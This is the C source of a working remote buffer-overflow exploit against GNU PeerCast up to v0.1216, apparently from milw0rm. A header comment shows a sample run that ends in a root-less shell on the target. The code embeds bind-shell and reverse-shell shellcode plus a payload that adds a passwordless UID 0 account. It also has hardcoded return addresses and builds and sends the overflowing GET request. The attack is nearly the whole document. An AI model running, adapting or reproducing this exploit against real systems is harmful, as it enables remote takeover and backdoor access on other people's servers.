/* GNU PeerCast <= v0.1216 Remote Exploit * ====================================== * PeerCast is a simple, free way to listen to radio and watch video on the internet. A * remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which * can be potentially exploited to execute arbitrary code due to insufficient bounds * checking on a memory copy operation occuring on the stack. All versions upto and * prior to v0.1216 are believed to be vulnerable. Return address does a "jmp esp" which * references the start of our shellcode and as such will work on multiple distributions * and VA randomized hosts. * * Example. * matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337 * [ GNU PeerCast <= v0.1216 remote exploit * [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes) * [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)' * [ Connected to 123.123.123.123 (7144/tcp) * [ Sent 883 bytes to target * matthew@localhost ~/code/exploits $ nc 123.123.123.123 31337 * id * uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) * * -prdelka */ #include #include #include #include #include #include #include #include #include #include struct target { char* name; int retaddr; }; struct shellcode { char* name; int port; int host; char* shellcode; }; const int targetno = 2; struct target targets[] = { {"(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux 3.3.5-r1)",0x080918AF}, {"(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)",0x080918AF} }; const int shellno = 3; struct shellcode shellcodes[] = { {"Linux bind() shellcode (4444/tcp default)",20,-1, "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"}, {"Linux connect() shellcode (4444/tcp default)",32,26, "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x01\x02\x03\x04\x66\x68" "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\x89\xe1\xb0\x0b\xcd\x80"}, {"Linux add user 'syscfg' with {null} password and UID 0",-1,-1, "\x31\xC0\x50\x68\x73\x73\x77\x64\x68\x2F\x2F\x70\x61\x68\x2F\x65" "\x74\x63\x89\xE6\x31\xD2\x31\xC9\xB1\x01\x89\xF3\x31\xC0\xB0\x05" "\xCD\x80\x50\x89\xE6\x31\xC0\xB0\x13\x8B\x1E\x31\xC9\x31\xD2\xB2" "\x02\xCD\x80\x31\xC0\xB0\x04\x8B\x1E\x31\xC9\x51\x68\x61\x73\x68" "\x0A\x68\x69\x6E\x2F\x62\x68\x74\x3A\x2F\x62\x68\x2F\x72\x6F\x6F" "\x68\x63\x66\x67\x3A\x68\x66\x6F\x72\x20\x68\x73\x65\x72\x20\x68" "\x65\x6D\x20\x75\x68\x73\x79\x73\x74\x68\x30\x3A\x30\x3A\x68\x66" "\x67\x3A\x3A\x68\x73\x79\x73\x63\x89\xE1\x31\xD2\xB2\x30\xCD\x80" "\x31\xC0\xB0\x06\x8B\x1E\xCD\x80"} }; void dummyhandler(){ } int main (int argc, char *argv[]) { int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144, ihost = 0, itarg = 0; int count, offset, ioffset, index = 0; short shellport; char *host, *buffer, *buffer2, *payload; struct sockaddr_in localAddr, servAddr; struct hostent *h, *rv; static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"target", 1, 0, 't'}, {"shellcode", 1, 0, 'c'}, {"shellport", 1, 0, 'x'}, {"shellhost", 1, 0, 'i'}, {"help", 0, 0,'h'} }; printf("[ GNU PeerCast <= v0.1216 remote exploit\n"); while(c != -1) { c = getopt_long(argc,argv,"s:p:t:c:x:i:h",options,&index); switch(c) { case -1: break; case 's': if(ihost==0){ h = gethostbyname(optarg); if(h==NULL){ printf("[ Error unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); sprintf(host,"%s",optarg); ihost = 1; } break; case 'p': port = atoi(optarg); break; case 'c': if(ishell==0) { payg = atoi(optarg); switch(payg){ case 0: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); ishell = 1; break; case 1: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); ishell = 1; break; case 2: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); ishell = 1; break; default: printf("[ Invalid shellcode selection %d\n",payg); exit(0); break; } } break; case 'x': if(ishell==1) { if(shellcodes[payg].port > -1) { paya = strlen(payload); shellport = atoi(optarg); shellport =(shellport&0xff)<<8 | shellport>>8; memcpy(&payload[shellcodes[payg].port],&shellport,sizeof(shellport)); if(paya > strlen(payload)) { printf("[ Shellcode port introduces null bytes\n"); exit(1); } } else{ printf("[ (%s) port selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) port selection\n",optarg); break; } break; case 'i': if(ishell==1) { if(shellcodes[payg].host > -1) { paya = strlen(payload); rv = gethostbyname(optarg); if(h==NULL){ printf("[ Error unknown host '%s'\n",optarg); exit(1); } memcpy(&payload[shellcodes[payg].host],rv->h_addr_list[0], rv->h_length); if(paya > strlen(payload)) { printf("[ Shellhost introduces null bytes\n"); exit(1); } } else{ printf("[ (%s) shellhost selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) shellhost selection\n",optarg); } break; case 't': if(itarg==0){ ret = atoi(optarg); switch(ret){ case 0: printf("[ Using target '%s'\n",targets[ret].name); eip = targets[ret].retaddr; break; case 1: printf("[ Using target '%s'\n",targets[ret].name); eip = targets[ret].retaddr; break; default: eip = strtoul(optarg,NULL,16); printf("[ Using return address '0x%x'\n",eip); break; } itarg = 1; } break; case 'h': printf("[ Usage instructions.\n[\n"); printf("[ %s (optional)\n[\n[ --server|-s \n",argv[0]); printf("[ --port|-p (port)[default 7144]\n[ --shellcode|-c \n"); printf("[ --shellport|-x (port)\n"); printf("[ --shellhost|-i (ip/hostname)\n"); printf("[ --target|-t \n[\n"); printf("[ Target#'s\n"); for(count = 0;count <= targetno - 1;count++){ printf("[ %d %s 0x%x\n",count,targets[count],targets[count]); } printf("[\n[ Shellcode#'s\n"); for(count = 0;count <= shellno - 1;count++){ printf("[ %d \"%s\" (length %d bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode)); } exit(0); break; default: break; } } if(itarg != 1 || ihost != 1 || ishell != 1){ printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]); exit(1); } signal(SIGPIPE,dummyhandler); servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); servAddr.sin_port = htons(port); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0) { printf("[ Cannot open socket\n"); exit(1); } rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0) { printf("[ Cannot connect\n"); exit(1); } printf("[ Connected to %s (%d/tcp)\n",host,port); buffer = malloc(2048 + strlen(payload) + sizeof(eip)); memset(buffer,0,2048 + strlen(payload) + sizeof(eip)); strcpy(buffer,"GET /stream/?"); for(count = 0;count <= 779;count++){ strcat(buffer,"A"); } buffer2 = (char*)((int)buffer + (int)strlen(buffer)); memcpy((void*)buffer2,(void*)&eip,sizeof(eip)); buffer2 = (char*)((int)buffer2 + sizeof(eip)); memcpy((void*)buffer2,(void*)payload,strlen(payload)); strcat(buffer2,"\r\n"); rc = send(sd,buffer,strlen(buffer),0); printf("[ Sent %d bytes to target\n",rc); } // milw0rm.com [2006-03-11]